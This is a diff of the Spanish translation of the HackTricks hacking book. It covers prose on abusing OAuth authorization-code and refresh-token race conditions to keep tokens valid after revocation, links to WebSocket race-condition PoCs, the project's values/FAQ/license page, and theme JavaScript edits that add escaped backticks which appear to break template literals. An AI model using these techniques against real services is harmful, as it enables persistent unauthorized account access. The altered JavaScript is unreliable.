+Así que, hasta aquí es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"

 #### Race Condition in `authorization_code`

-El **problema** aparece cuando **lo aceptas** y automáticamente se envía un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una Race Condition en el proveedor de servicio OAUth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** de tu cuenta. Básicamente, aprovechará que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
+El **problema** aparece cuando la **aceptas** y se envía automáticamente un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una Race Condition en el OAUth service provider para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, aprovechará el hecho de que aceptaste que la aplicación accediera a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.

 #### Race Condition in `Refresh Token`

-Una vez que hayas **obtenido un RT válido** podrías intentar **abusarlo para generar varios AT/RT** y **aun si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
+Una vez que has **obtenido un RT válido** podrías intentar **abusar de él para generar varios AT/RT** e **incluso si el usuario cancela los permisos** de la aplicación maliciosa para acceder a sus datos, **varios RT seguirán siendo válidos.**

-## **RC in WebSockets**
+## **RC en WebSockets**

- En [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes websocket en **paralelo** y abusar de **Race Conditions** también en Web Sockets.
- Con WebSocket Turbo Intruder de Burp puedes usar el motor **THREADED** para crear múltiples conexiones WS y disparar payloads en paralelo. Parte del ejemplo oficial y ajusta `config()` (número de hilos) para la concurrencia; esto suele ser más fiable que agrupar en una única conexión cuando se compite por el estado del lado servidor entre handlers WS. Ver [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes websocket en **parallel** y abusar de **Race Conditions también en Web Sockets**.
+- Con Burp’s WebSocket Turbo Intruder puedes usar el motor **THREADED** para generar múltiples conexiones WS y disparar payloads en paralelo. Parte del ejemplo oficial y ajusta `config()` (thread count) para la concurrencia; esto suele ser más fiable que agrupar en una sola conexión cuando se compite por el estado del servidor a través de handlers WS. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).

-## References
+## Referencias

 - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
 - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@ -1,4 +1,4 @@
-# HackTricks Valores & FAQ
+# Valores de HackTricks y FAQ

 {{#include ../banners/hacktricks-training.md}}

@ -7,14 +7,14 @@
 > [!TIP]
 > Estos son los **valores del Proyecto HackTricks**:
 >
-> - Proveer acceso **GRATIS** a recursos **educativos de hacking** para **TODO** Internet.
->  - El hacking trata sobre el aprendizaje, y el aprendizaje debería ser lo más libre posible.
+> - Dar acceso **GRATIS** a recursos **educativos de hacking** a **TODO** Internet.
+>  - Hacking trata sobre aprender, y el aprendizaje debería ser lo más libre posible.
 >  - El propósito de este libro es servir como un **recurso educativo** integral.
-> - **ALMACENAR** increíbles técnicas de **hacking** que la comunidad publica, dando a los **AUTORES** **ORIGINALES** todos los **créditos**.
+> - **ALMACENAR** increíbles **hacking** técnicas que la comunidad publica dando a los **AUTORES** **ORIGINALES** todos los **créditos**.
 >  - **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos.
 >  - También escribimos **nuestras propias investigaciones** en HackTricks.
 >  - En varios casos solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar el post original** para más detalles.
-> - **ORGANIZAR** todas las técnicas de hacking en el libro para que sea **MÁS ACCESIBLE**
+> - **ORGANIZAR** todas las técnicas de **hacking** en el libro para que sea **MÁS ACCESIBLE**
 >  - El equipo de HackTricks ha dedicado miles de horas de forma gratuita **solo para organizar el contenido** para que la gente pueda **aprender más rápido**

 <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,32 +25,32 @@
 >
 > - **Muchas gracias por estos recursos, ¿cómo puedo agradecerles?**

-Puedes agradecer públicamente a los equipos de HackTricks por recopilar todos estos recursos con un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-Si estás especialmente agradecido también puedes [**patrocinar el proyecto aquí**](https://github.com/sponsors/carlospolop).\
-Y no olvides **dar una estrella a los proyectos en GitHub!** (¡Encuentra los enlaces abajo!).
+Puedes agradecer públicamente a los equipos de HackTricks por reunir todos estos recursos públicamente en un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
+Y no olvides **dar una estrella en los proyectos de Github!** (Encuentra los enlaces abajo).

 > [!TIP]
 >
 > - **¿Cómo puedo contribuir al proyecto?**

-Puedes **compartir nuevos consejos y trucos con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas respectivas de GitHub:
+Puedes **compartir nuevos consejos y trucos con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas respectivas de Github:

 - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
 - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)

-¡No olvides **dar una estrella a los proyectos en GitHub!**
+¡No olvides **dar una estrella en los proyectos de Github!**

 > [!TIP]
 >
 > - **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?**

-Sí, puedes, pero **no olvides mencionar los enlaces específicos** de donde se tomó el contenido.
+Sí, puedes, pero **no olvides mencionar el/los enlace(s) específicos** de donde se tomó el contenido.

 > [!TIP]
 >
 > - **¿Cómo puedo citar una página de HackTricks?**

-Mientras aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
+Con tal de que aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
 Si necesitas un bibtex puedes usar algo como:
 ```latex
@misc{hacktricks-bibtexing,
@ -62,7 +62,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 ```
 > [!WARNING]
 >
-> - **¿Puedo copiar todo HackTricks en mi blog?**
+> - **Can I copy all HackTricks in my blog?**

 **Preferiría que no**. Eso **no va a beneficiar a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.

@ -70,74 +70,74 @@ Si temes que vaya a desaparecer, simplemente haz fork en Github o descárgalo; c

 > [!WARNING]
 >
-> - **¿Por qué tenéis sponsors? ¿Los libros de HackTricks son con fines comerciales?**
+> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**

-El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, nuevamente, de **GRATIS**.
+El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATIS**.

-Si piensas que los libros de HackTricks se hacen con **fines comerciales**, estás **COMPLETAMENTE EQUIVOCADO**.
+Si piensas que los libros de HackTricks están hechos con **fines comerciales** estás **COMPLETAMENTE EQUIVOCADO**.

-Tenemos sponsors porque, aunque todo el contenido sea **GRATIS**, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si así lo desean. Por ello ofrecemos la opción de donar a HackTricks vía [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **poner algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares donde sean **visibles** pero **no entorpezcan el proceso de aprendizaje** si alguien se concentra en el contenido.
+Tenemos sponsors porque, aunque todo el contenido sea GRATIS, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si lo desean. Por eso ofrecemos a la gente la opción de donar a HackTricks a través de [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **tener algunos anuncios** en el libro, colocando los **anuncios** siempre en lugares donde sean **visibles** pero **no interfieran en el proceso de aprendizaje** si alguien se concentra en el contenido.

 No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho con fines comerciales.

 > [!CAUTION]
 >
-> - **¿Qué debo hacer si alguna página de HackTricks está basada en mi post del blog pero no está referenciada?**
+> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**

-**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber vía Github issues, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y lo añadiremos lo antes posible**.
+**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber mediante Github issues, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y lo añadiremos lo antes posible**.

 > [!CAUTION]
 >
-> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté ahí?**
+> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**

 Ten en cuenta que tener enlaces a tu página en HackTricks:

 - Mejora tu **SEO**
 - El contenido se **traduce a más de 15 idiomas**, permitiendo que más personas accedan a este contenido
- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han comentado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
+- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han mencionado que desde que alguna de sus páginas está en HackTricks reciben más visitas)

-Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks, simplemente háznoslo saber y definitivamente **eliminaremos todos los enlaces a tu blog**, y cualquier contenido basado en él.
+Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks, solo háznoslo saber y definitivamente **eliminaremos todo enlace a tu blog**, y cualquier contenido basado en él.

 > [!CAUTION]
 >
-> - **¿Qué debo hacer si encuentro contenido copiado y pegado en HackTricks?**
+> - **What should I do if I find copy-pasted content in HackTricks?**

-Siempre **damos todos los créditos a los autores originales**. Si encuentras una página con contenido copiado sin la fuente original referenciada, háznoslo saber y **lo eliminaremos**, **añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
+Siempre **damos a los autores originales todos los créditos**. Si encuentras una página con contenido copiado y pegado sin la fuente original referenciada, háznoslo saber y nosotros o bien **la eliminaremos**, **añadiremos el enlace antes del texto**, o **la reescribiremos añadiendo el enlace**.

 ## LICENCIA

-Copyright © Todos los derechos reservados salvo que se indique lo contrario.
+Copyright © Todos los derechos reservados, salvo que se especifique lo contrario.

 #### Resumen de la licencia:

 - Atribución: Eres libre de:
 - Compartir — copiar y redistribuir el material en cualquier medio o formato.
- Adaptar — remezclar, transformar y crear a partir del material.
+- Adaptar — remixar, transformar y crear obras derivadas del material.

 #### Términos adicionales:

- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios de uso justo (fair use) o con permiso explícito de los respectivos titulares de derechos de autor. Por favor, consulta las fuentes originales para obtener información específica sobre la licencia del contenido de terceros.
- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor al compartirlo o adaptarlo.
+- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios de fair use o con permiso explícito de los respectivos titulares de derechos de autor. Por favor, consulta las fuentes originales para información específica sobre licencias respecto al contenido de terceros.
+- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor cuando lo compartas o adaptes.

 #### Exenciones:

 - Uso comercial: Para consultas sobre el uso comercial de este contenido, por favor contáctame.

-Esta licencia no concede ningún derecho sobre marcas comerciales o derechos de branding en relación con el contenido. Todas las marcas comerciales y elementos de branding que aparecen en este blog/libro son propiedad de sus respectivos dueños.
+Esta licencia no concede ningún derecho sobre marcas comerciales o branding en relación con el contenido. Todas las marcas comerciales y el branding que aparecen en este blog/libro son propiedad de sus respectivos dueños.

-**Al acceder o usar HackTricks, aceptas cumplir los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
+**Al acceder o usar HackTricks, aceptas cumplir con los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**

 ## **Descargo de responsabilidad**

 > [!CAUTION]
-> Este libro, 'HackTricks', está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no hacen declaraciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que usted deposite en dicha información es, por tanto, estrictamente bajo su propia responsabilidad.
+> Este libro, 'HackTricks,' está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona 'tal cual', y los autores y editores no hacen representaciones ni garantías de ningún tipo, expresas o implícitas, sobre la totalidad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información será, por tanto, estrictamente bajo tu propia responsabilidad.
 >
-> Los autores y editores no serán en ningún caso responsables de cualquier pérdida o daño, incluyendo, sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios que surja de, o en conexión con, el uso de este libro.
+> En ningún caso los autores y editores serán responsables de ninguna pérdida o daño, incluyendo sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados de, o en conexión con, el uso de este libro.
 >
-> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no avalan ni apoyan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro se realiza bajo el propio riesgo y criterio del usuario.
+> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni apoyan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro corre por cuenta y riesgo del usuario.
 >
-> El usuario es el único responsable de cualquier acción tomada basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos aquí.
+> El usuario es el único responsable de cualquier acción tomada basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos en el mismo.
 >
-> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de las informaciones contenidas en él.
+> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por daños, pérdidas o perjuicios que puedan resultar del uso de este libro o de cualquiera de las informaciones contenidas en el mismo.

 {{#include ../banners/hacktricks-training.md}}
--- a/theme/ai.js
+++ b/theme/ai.js
@ -491,3 +491,4 @@
    handle.addEventListener("touchstart", onStart, { passive: false });
  }
 })();
+
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@ -68,11 +68,11 @@
      const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
      const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';

-      const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
-      const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+      const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+      const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));

-      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
-      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);

      const indices = [];
      const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js',        false); if(main)  indices.push(main);
@ -208,3 +208,4 @@
    listOut.classList.toggle('hidden',!docs.length);
  };
 })();
+